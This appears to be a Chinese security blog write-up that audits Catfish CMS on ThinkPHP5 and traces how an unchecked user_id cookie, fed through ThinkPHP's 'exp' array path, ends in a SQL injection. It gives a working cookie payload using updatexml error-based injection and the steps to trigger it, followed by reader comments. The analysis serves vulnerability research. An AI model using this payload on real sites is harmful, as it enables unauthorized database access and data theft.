漏洞描述
怎么说呢,这个CMS以前挖过一次,刚开始确实写得不咋的,后来貌似重构了一下,安全性上了一个档次。
最近看到有人发了这个CMS的漏洞,思路挺不错的,不过文章开头说没有注入,我就试着又审了一次新版。
虽然直观的漏洞不存在了,但是我们细心并且猥琐一点,就可以挖到一个注入了。
漏洞分析
大概看了一下,TP5的防御确实比TP3要好一点....主要是把where函数一改写,确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:
/application/user/controller/Common.php中第45行:
protected function checkUser()
{
if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))
{
$cookie_user_p = Cache::get('cookie_user_p');
if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)
{
$user = Db::name('users')->where('user_login', Cookie::get($this->session_prefix.'user'))->field('user_pass,user_type')->find();
if(!empty($user) && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p'))
{
Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id'));
Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user'));
Session::set($this->session_prefix.'user_type',$user['user_type']);
}
}
}
if(!Session::has($this->session_prefix.'user_id'))
{
$this->redirect(Url::build('/login'));
}
if(Session::get($this->session_prefix.'user_type') == 1)
{
$this->redirect(Url::build('/admin'));
}
$this->assign('login', $this->getUser());
}
函数的功能就是一个校验用户是否登录。看逻辑,看第一个if。如果我们没有session,那么就从cookie中取值,这里用到了几个cookie,一个是user_id,一个是user,一个是user_p。
然后将user带入数据库查询,这个其实就是我们的用户名,将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较,如果相等的话,就设置一系列session。用户验证是没毛病的,但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意,等于我们可以控制session中的user_id的值了。
我们全文查找一下用到这个session的user_id的地方在哪,我找到一处:
/application/index/controller/Index.php中第548行:
public function pinglun()
{
$beipinglunren = Db::name('posts')->where('id',Request::instance()->post('id'))->field('post_author')->find();
if($beipinglunren['post_author'] != Session::get($this->session_prefix.'user_id'))
{
$comment = Db::name('options')->where('option_name','comment')->field('option_value')->find();
$plzt = 1;
if($comment['option_value'] == 1)
{
$plzt = 0;
}
//添加评论
$data = [
'post_id' => Request::instance()->post('id'),
'url' => 'index/Index/article/id/'.Request::instance()->post('id'),
'uid' => Session::get($this->session_prefix.'user_id'),
'to_uid' => $beipinglunren['post_author'],
'createtime' => date("Y-m-d H:i:s"),
'content' => $this->filterJs(Request::instance()->post('pinglun')),
'status' => $plzt
];
Db::name('comments')->insert($data);
//修改评论信息
Db::name('posts')
->where('id', Request::instance()->post('id'))
->update([
'post_comment' => date("Y-m-d H:i:s"),
'comment_count' => ['exp','comment_count+1']
]);
$param = '';
Hook::add('comment_post',$this->plugins);
Hook::listen('comment_post',$param,$this->ccc);
}
}
这里取到了我们session中的user_id的值然后添加到了$data这个数组中,作为uid的值。
然后将$data带入到了insert函数中,貌似有戏,就跟进去看看,在/catfish/library/think/db/Builder.php中第597行:
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table']),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}
然后这里调用了一个parseData对$data进行处理:
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key);
if (!in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (isset($val[0]) && 'exp' == $val[0]) {
$result[$item] = $val[1];
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_scalar($val)) {
// 过滤非标量数据
if ($this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$this->query->bind($key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':' . $key;
}
}
}
return $result;
}
注意看了啊,这里的$var[0]如果等于exp的话,就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。
等处理完了,就直接return $result。
然后我们返回上级看看:
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table']),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
直接array_values取出来,然后implode一下,好的,明显的注入。
接下来开始构造payload了,构造payload的时候也有点大意了,我以为直接传数组就可以了,结果并不行,我就又去看了一下取COOKIE得函数:
public static function get($name, $prefix = null)
{
!isset(self::$init) && self::init();
$prefix = !is_null($prefix) ? $prefix : self::$config['prefix'];
$name = $prefix . $name;
if (isset($_COOKIE[$name])) {
$value = $_COOKIE[$name];
if (0 === strpos($value, 'think:')) {
$value = substr($value, 6);
$value = json_decode($value, true);
array_walk_recursive($value, 'self::jsonFormatProtect', 'decode');
}
return $value;
} else {
return null;
它取了COOKIE的值之后还进行了一次strpos操作,所以这个地方我们如果直接传数组会报error的错误,就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。
漏洞利用
为了方便起见。把app_debug打开吧,方便报错注入。
将/application/config.php中的app_debug改为true即可。
首先我们前台注册一个账号吧。
用户名:balisong 密码:balisong
首先我们要登录一次,不过这个地方要把记住我勾上,如图:
然后会发现我们多了几个cookie,如图:
其中最重要的就是这个user_p的cookie。
我这里是65332ad27c4ca83675c01ad285367903
然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。
然后开始构造COOKIE:
catfishcatfishcmsuser = balisong
catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903
catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]
构造完毕后,访问一次http://localhost/catfishcms/user/index.html
页面报错不要紧,主要是为了触发checkuser这个函数。
然后访问http://localhost/catfishcms/index/index/pinglun.html
可以看到报错了,爆出了数据库用户名:
给畅师傅提鞋子
给畅师傅撑雨伞
给师傅洗脚
师傅能加个微信吗 想等你闲再请教一点问题
@soul 推特私我吧,我不是很想在博客上留联系方式。